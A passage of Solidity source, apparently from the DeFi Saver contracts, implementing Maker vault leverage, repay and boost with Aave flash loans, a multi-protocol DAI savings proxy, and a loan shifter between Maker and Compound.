0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; uint public constant SERVICE_FEE = 400; // 0.25% Fee address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); (address proxy, bytes memory packedData) = abi.decode(_params, (address,bytes)); (MCDCreateTaker.CreateData memory createData, ExchangeData memory exchangeData) = abi.decode(packedData, (MCDCreateTaker.CreateData,ExchangeData)); exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = DSProxy(payable(proxy)).owner(); openAndLeverage(createData.collAmount, createData.daiAmount + _fee, createData.joinAddr, proxy, exchangeData); transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndLeverage( uint _collAmount, uint _daiAmountAndFee, address _joinAddr, address _proxy, ExchangeData memory _exchangeData ) public { (, uint256 collSwaped) = _sell(_exchangeData); bytes32 ilk = Join(_joinAddr).ilk(); if (isEthJoinAddr(_joinAddr)) { MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( MANAGER_ADDRESS, JUG_ADDRESS, _joinAddr, DAI_JOIN_ADDRESS, ilk, _daiAmountAndFee, _proxy ); } else { ERC20(address(Join(_joinAddr).gem())).safeApprove(CREATE_PROXY_ACTIONS, uint256(-1)); MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockGemAndDraw( MANAGER_ADDRESS, JUG_ADDRESS, _joinAddr, DAI_JOIN_ADDRESS, ilk, (_collAmount + collSwaped), _daiAmountAndFee, true, _proxy ); } } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } contract MCDSaverProxy is DFSExchangeCore, MCDSaverProxyHelper { uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; Manager public constant manager = Manager(MANAGER_ADDRESS); Vat public constant vat = Vat(VAT_ADDRESS); DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Repay - draws collateral, converts to Dai and repays the debt /// @dev Must be called by the DSProxy contract that owns the CDP function repay( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable { address user = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); drawCollateral(_cdpId, _joinAddr, _exchangeData.srcAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint daiAmount) = _sell(_exchangeData); daiAmount -= takeFee(_gasCost, daiAmount); paybackDebt(_cdpId, ilk, daiAmount, user); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDRepay", abi.encode(_cdpId, user, _exchangeData.srcAmount, daiAmount)); } /// @notice Boost - draws Dai, converts to collateral and adds to CDP /// @dev Must be called by the DSProxy contract that owns the CDP function boost( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable { address user = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); uint daiDrawn = drawDai(_cdpId, ilk, _exchangeData.srcAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exchangeData.srcAmount = daiDrawn - takeFee(_gasCost, daiDrawn); (, uint swapedColl) = _sell(_exchangeData); addCollateral(_cdpId, _joinAddr, swapedColl); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDBoost", abi.encode(_cdpId, user, _exchangeData.srcAmount, swapedColl)); } /// @notice Draws Dai from the CDP /// @dev If _daiAmount is bigger than max available we'll draw max /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to draw function drawDai(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal returns (uint) { uint rate = Jug(JUG_ADDRESS).drip(_ilk); uint daiVatBalance = vat.dai(manager.urns(_cdpId)); uint maxAmount = getMaxDebt(_cdpId, _ilk); if (_daiAmount >= maxAmount) { _daiAmount = sub(maxAmount, 1); } manager.frob(_cdpId, int(0), normalizeDrawAmount(_daiAmount, rate, daiVatBalance)); manager.move(_cdpId, address(this), toRad(_daiAmount)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } DaiJoin(DAI_JOIN_ADDRESS).exit(address(this), _daiAmount); return _daiAmount; } /// @notice Adds collateral to the CDP /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to add function addCollateral(uint _cdpId, address _joinAddr, uint _amount) internal { int convertAmount = 0; if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().deposit{value: _amount}(); convertAmount = toPositiveInt(_amount); } else { convertAmount = toPositiveInt(convertTo18(_joinAddr, _amount)); } ERC20(address(Join(_joinAddr).gem())).safeApprove(_joinAddr, _amount); Join(_joinAddr).join(address(this), _amount); vat.frob( manager.ilks(_cdpId), manager.urns(_cdpId), address(this), address(this), convertAmount, 0 ); } /// @notice Draws collateral and returns it to DSProxy /// @dev If _amount is bigger than max available we'll draw max /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to draw function drawCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { uint frobAmount = _amount; if (Join(_joinAddr).dec() != 18) { frobAmount = _amount * (10 ** (18 - Join(_joinAddr).dec())); } manager.frob(_cdpId, -toPositiveInt(frobAmount), 0); manager.flux(_cdpId, address(this), frobAmount); Join(_joinAddr).exit(address(this), _amount); if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().withdraw(_amount); // Weth -> Eth } return _amount; } /// @notice Paybacks Dai debt /// @dev If the _daiAmount is bigger than the whole debt, returns extra Dai /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to payback /// @param _owner Address that owns the DSProxy that owns the CDP function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount, address _owner) internal { address urn = manager.urns(_cdpId); uint wholeDebt = getAllDebt(VAT_ADDRESS, urn, urn, _ilk); if (_daiAmount > wholeDebt) { ERC20(DAI_ADDRESS).transfer(_owner, sub(_daiAmount, wholeDebt)); _daiAmount = wholeDebt; } if (ERC20(DAI_ADDRESS).allowance(address(this), DAI_JOIN_ADDRESS) == 0) { ERC20(DAI_ADDRESS).approve(DAI_JOIN_ADDRESS, uint(-1)); } daiJoin.join(urn, _daiAmount); manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } /// @notice Gets the maximum amount of collateral available to draw /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _joinAddr Joind address of collateral /// @dev Substracts 10 wei to aviod rounding error later on function getMaxCollateral(uint _cdpId, bytes32 _ilk, address _joinAddr) public view returns (uint) { uint price = getPrice(_ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); (, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk); uint maxCollateral = sub(collateral, (div(mul(mat, debt), price))); uint normalizeMaxCollateral = maxCollateral / (10 ** (18 - Join(_joinAddr).dec())); // take one percent due to precision issues return normalizeMaxCollateral * 99 / 100; } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @dev Substracts 10 wei to aviod rounding error later on function getMaxDebt(uint _cdpId, bytes32 _ilk) public virtual view returns (uint) { uint price = getPrice(_ilk); (, uint mat) = spotter.ilks(_ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(sub(div(mul(collateral, price), mat), debt), 10); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getRatio(uint _cdpId, bytes32 _ilk) public view returns (uint) { uint price = getPrice( _ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt); } /// @notice Gets CDP info (collateral, debt, price, ilk) /// @param _cdpId Id of the CDP function getCdpDetailedInfo(uint _cdpId) public view returns (uint collateral, uint debt, uint price, bytes32 ilk) { address urn = manager.urns(_cdpId); ilk = manager.ilks(_cdpId); (collateral, debt) = vat.urns(ilk, urn); (,uint rate,,,) = vat.ilks(ilk); debt = rmul(debt, rate); price = getPrice(ilk); } function isAutomation() internal view returns(bool) { return BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin); } function takeFee(uint256 _gasCost, uint _amount) internal returns(uint) { if (_gasCost > 0) { uint ethDaiPrice = getPrice(ETH_ILK); uint feeAmount = rmul(_gasCost, ethDaiPrice); uint balance = ERC20(DAI_ADDRESS).balanceOf(address(this)); if (feeAmount > _amount / 10) { feeAmount = _amount / 10; } ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount); return feeAmount; } return 0; } } contract MCDSaverTaker is MCDSaverProxy, GasBurner { address payable public constant MCD_SAVER_FLASH_LOAN = 0xD0eB57ff3eA4Def2b74dc29681fd529D1611880f; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); function boostWithLoan( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable burnGas(25) { uint256 maxDebt = getMaxDebt(_cdpId, manager.ilks(_cdpId)); uint maxLiq = getAvailableLiquidity(DAI_JOIN_ADDRESS); if (maxDebt >= _exchangeData.srcAmount || maxLiq == 0) { if (_exchangeData.srcAmount > maxDebt) { _exchangeData.srcAmount = maxDebt; } boost(_exchangeData, _cdpId, _gasCost, _joinAddr); return; } uint256 loanAmount = sub(_exchangeData.srcAmount, maxDebt); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, false); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, DAI_ADDRESS, loanAmount, paramsData); manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } function repayWithLoan( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable burnGas(25) { uint256 maxColl = getMaxCollateral(_cdpId, manager.ilks(_cdpId), _joinAddr); uint maxLiq = getAvailableLiquidity(_joinAddr); if (maxColl >= _exchangeData.srcAmount || maxLiq == 0) { if (_exchangeData.srcAmount > maxColl) { _exchangeData.srcAmount = maxColl; } repay(_exchangeData, _cdpId, _gasCost, _joinAddr); return; } uint256 loanAmount = sub(_exchangeData.srcAmount, maxColl); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, true); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, getAaveCollAddr(_joinAddr), loanAmount, paramsData); manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } function getAaveCollAddr(address _joinAddr) internal view returns (address) { if (isEthJoinAddr(_joinAddr) || _joinAddr == 0x775787933e92b709f2a3C70aa87999696e74A9F8) { return KYBER_ETH_ADDRESS; } else if (_joinAddr == DAI_JOIN_ADDRESS) { return DAI_ADDRESS; } else { return getCollateralAddr(_joinAddr); } } function getAvailableLiquidity(address _joinAddr) internal view returns (uint liquidity) { address tokenAddr = getAaveCollAddr(_joinAddr); if (tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(tokenAddr).balanceOf(AAVE_POOL_CORE); } } } contract SavingsProxy is DSRSavingsProtocol, CompoundSavingsProtocol { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant SAVINGS_DYDX_ADDRESS = 0x03b1565e070df392e48e7a8e01798C4B00E534A5; address public constant SAVINGS_AAVE_ADDRESS = 0x535B9035E9bA8D7efe0FeAEac885fb65b303E37C; address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant COMP_ADDRESS = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant SAVINGS_LOGGER_ADDRESS = 0x89b3635BD2bAD145C6f92E82C9e83f06D5654984; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; enum SavingsProtocol {Compound, Dydx, Fulcrum, Dsr, Aave} function deposit(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrDeposit(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logDeposit(msg.sender, uint8(_protocol), _amount); } function withdraw(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrWithdraw(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logWithdraw(msg.sender, uint8(_protocol), _amount); } function swap(SavingsProtocol _from, SavingsProtocol _to, uint256 _amount) public { if (_from == SavingsProtocol.Dsr) { dsrWithdraw(_amount, false); } else if (_from == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_from, _amount, false); } // possible to withdraw 1-2 wei less than actual amount due to division precision // so we deposit all amount on DSProxy uint256 amountToDeposit = ERC20(DAI_ADDRESS).balanceOf(address(this)); if (_to == SavingsProtocol.Dsr) { dsrDeposit(amountToDeposit, false); } else if (_from == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_to, amountToDeposit, false); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logSwap( msg.sender, uint8(_from), uint8(_to), _amount ); } function withdrawDai() public { ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); } function claimComp() public { ComptrollerInterface(COMP_ADDRESS).claimComp(address(this)); } function getAddress(SavingsProtocol _protocol) public pure returns (address) { if (_protocol == SavingsProtocol.Dydx) { return SAVINGS_DYDX_ADDRESS; } if (_protocol == SavingsProtocol.Aave) { return SAVINGS_AAVE_ADDRESS; } } function _deposit(SavingsProtocol _protocol, uint256 _amount, bool _fromUser) internal { if (_fromUser) { ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), _amount); } approveDeposit(_protocol); ProtocolInterface(getAddress(_protocol)).deposit(address(this), _amount); endAction(_protocol); } function _withdraw(SavingsProtocol _protocol, uint256 _amount, bool _toUser) public { approveWithdraw(_protocol); ProtocolInterface(getAddress(_protocol)).withdraw(address(this), _amount); endAction(_protocol); if (_toUser) { withdrawDai(); } } function endAction(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(false); } } function approveDeposit(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound || _protocol == SavingsProtocol.Fulcrum || _protocol == SavingsProtocol.Aave) { ERC20(DAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { ERC20(DAI_ADDRESS).approve(SOLO_MARGIN_ADDRESS, uint256(-1)); setDydxOperator(true); } } function approveWithdraw(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound) { ERC20(NEW_CDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(true); } if (_protocol == SavingsProtocol.Fulcrum) { ERC20(NEW_IDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Aave) { ERC20(ADAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } } function setDydxOperator(bool _trusted) internal { ISoloMargin.OperatorArg[] memory operatorArgs = new ISoloMargin.OperatorArg[](1); operatorArgs[0] = ISoloMargin.OperatorArg({ operator: getAddress(SavingsProtocol.Dydx), trusted: _trusted }); ISoloMargin(SOLO_MARGIN_ADDRESS).setOperators(operatorArgs); } } contract LoanShifterReceiver is SaverExchangeCore, FlashLoanReceiverBase, AdminAuth { address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); struct ParamData { bytes proxyData1; bytes proxyData2; address proxy; address debtAddr; uint8 protocol1; uint8 protocol2; uint8 swapType; } constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (ParamData memory paramData, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); address protocolAddr1 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol1)); address protocolAddr2 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol2)); // Send Flash loan amount to DSProxy sendToProxy(payable(paramData.proxy), _reserve, _amount); // Execute the Close/Change debt operation DSProxyInterface(paramData.proxy).execute(protocolAddr1, paramData.proxyData1); if (paramData.swapType == 1) { // COLL_SWAP exchangeData.srcAmount -= getFee(getBalance(exchangeData.srcAddr), exchangeData.srcAddr, paramData.proxy); (, uint amount) = _sell(exchangeData); sendToProxy(payable(paramData.proxy), exchangeData.destAddr, amount); } else if (paramData.swapType == 2) { // DEBT_SWAP exchangeData.srcAmount -= getFee(exchangeData.srcAmount, exchangeData.srcAddr, paramData.proxy); exchangeData.destAmount = (_amount + _fee); _buy(exchangeData); // Send extra to DSProxy sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, ERC20(exchangeData.srcAddr).balanceOf(address(this))); } else { // NO_SWAP just send tokens to proxy sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, getBalance(exchangeData.srcAddr)); } // Execute the Open operation DSProxyInterface(paramData.proxy).execute(protocolAddr2, paramData.proxyData2); // Repay FL transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (ParamData memory paramData, ExchangeData memory exchangeData) { ( uint[8] memory numData, // collAmount, debtAmount, id1, id2, srcAmount, destAmount, minPrice, price0x address[8] memory addrData, // addrLoan1, addrLoan2, debtAddr1, debtAddr2, srcAddr, destAddr, exchangeAddr, wrapper uint8[3] memory enumData, // fromProtocol, toProtocol, swapType bytes memory callData, address proxy ) = abi.decode(_params, (uint256[8],address[8],uint8[3],bytes,address)); bytes memory proxyData1; bytes memory proxyData2; uint openDebtAmount = (_amount + _fee); if (enumData[0] == 0) { // MAKER FROM proxyData1 = abi.encodeWithSignature("close(uint256,address,uint256,uint256)", numData[2], addrData[0], _amount, numData[0]); } else if(enumData[0] == 1) { // COMPOUND FROM if (enumData[2] == 2) { // DEBT_SWAP proxyData1 = abi.encodeWithSignature("changeDebt(address,address,uint256,uint256)", addrData[2], addrData[3], _amount, numData[4]); } else { proxyData1 = abi.encodeWithSignature("close(address,address,uint256,uint256)", addrData[0], addrData[2], numData[0], numData[1]); } } if (enumData[1] == 0) { // MAKER TO proxyData2 = abi.encodeWithSignature("open(uint256,address,uint256)", numData[3], addrData[1], openDebtAmount); } else if(enumData[1] == 1) { // COMPOUND TO if (enumData[2] == 2) { // DEBT_SWAP proxyData2 = abi.encodeWithSignature("repayAll(address)", addrData[3]); } else { proxyData2 = abi.encodeWithSignature("open(address,address,uint256)", addrData[1], addrData[3], openDebtAmount); } } paramData = ParamData({ proxyData1: proxyData1, proxyData2: proxyData2, proxy: proxy, debtAddr: addrData[2], protocol1: enumData[0], protocol2: enumData[1], swapType: enumData[2] }); exchangeData = SaverExchangeCore.ExchangeData({ srcAddr: addrData[4], destAddr: addrData[5], srcAmount: numData[4], destAmount: numData[5], minPrice: numData[6], wrapper: addrData[7], exchangeAddr: addrData[6], callData: callData, price0x: numData[7] }); } function sendToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getFee(uint _amount, address _tokenAddr, address _proxy) internal returns (uint feeAmount) { uint fee = 400; DSProxyInterface proxy = DSProxyInterface(payable(_proxy)); address user = proxy.owner(); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (_tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract LoanShifterTaker is AdminAuth, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant MCD_SUB_ADDRESS = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; address public constant COMPOUND_SUB_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; Manager public constant manager = Manager(MANAGER_ADDRESS); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); enum Protocols { MCD, COMPOUND } enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP } enum Unsub { NO_UNSUB, FIRST_UNSUB, SECOND_UNSUB, BOTH_UNSUB } struct LoanShiftData { Protocols fromProtocol; Protocols toProtocol; SwapType swapType; Unsub unsub; bool wholeDebt; uint collAmount; uint debtAmount; address debtAddr1; address debtAddr2; address addrLoan1; address addrLoan2; uint id1; uint id2; } /// @notice Main entry point, it will move or transform a loan /// @dev Called through DSProxy function moveLoan( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) public payable burnGas(20) { if (_isSameTypeVaults(_loanShift)) { _forkVault(_loanShift); logEvent(_exchangeData, _loanShift); return; } _callCloseAndOpen(_exchangeData, _loanShift); } //////////////////////// INTERNAL FUNCTIONS ////////////////////////// function _callCloseAndOpen( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol))); if (_loanShift.wholeDebt) { _loanShift.debtAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.debtAddr1); } ( uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData ) = _packData(_loanShift, _exchangeData); // encode data bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this)); address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER")); loanShifterReceiverAddr.transfer(address(this).balance); // call FL givePermission(loanShifterReceiverAddr); lendingPool.flashLoan(loanShifterReceiverAddr, getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), _loanShift.debtAmount, paramsData); removePermission(loanShifterReceiverAddr); unsubFromAutomation( _loanShift.unsub, _loanShift.id1, _loanShift.id2, _loanShift.fromProtocol, _loanShift.toProtocol ); logEvent(_exchangeData, _loanShift); } function _forkVault(LoanShiftData memory _loanShift) internal { // Create new Vault to move to if (_loanShift.id2 == 0) { _loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this)); } if (_loanShift.wholeDebt) { manager.shift(_loanShift.id1, _loanShift.id2); } } function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) { return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD && _loanShift.addrLoan1 == _loanShift.addrLoan2; } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) { if (_fromProtocol == Protocols.COMPOUND) { return CTokenInterface(_address).underlying(); } else if (_fromProtocol == Protocols.MCD) { return DAI_ADDRESS; } else { return address(0); } } function logEvent( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address srcAddr = _exchangeData.srcAddr; address destAddr = _exchangeData.destAddr; uint collAmount = _exchangeData.srcAmount; uint debtAmount = _exchangeData.destAmount; if (_loanShift.swapType == SwapType.NO_SWAP) { srcAddr = _loanShift.addrLoan1; destAddr = _loanShift.debtAddr1; collAmount = _loanShift.collAmount; debtAmount = _loanShift.debtAmount; } DefisaverLogger(DEFISAVER_LOGGER) .Log(address(this), msg.sender, "LoanShifter", abi.encode( _loanShift.fromProtocol, _loanShift.toProtocol, _loanShift.swapType, srcAddr, destAddr, collAmount, debtAmount )); } function unsubFromAutomation(Unsub _unsub, uint _cdp1, uint _cdp2, Protocols _from, Protocols _to) internal { if (_unsub != Unsub.NO_UNSUB) { if (_unsub == Unsub.FIRST_UNSUB || _unsub == Unsub.BOTH_UNSUB) { unsubscribe(_cdp1, _from); } if (_unsub == Unsub.SECOND_UNSUB || _unsub == Unsub.BOTH_UNSUB) { unsubscribe(_cdp2, _to); } } } function unsubscribe(uint _cdpId, Protocols _protocol) internal { if (_cdpId != 0 && _protocol == Protocols.MCD) { IMCDSubscriptions(MCD_SUB_ADDRESS).unsubscribe(_cdpId); } if (_protocol == 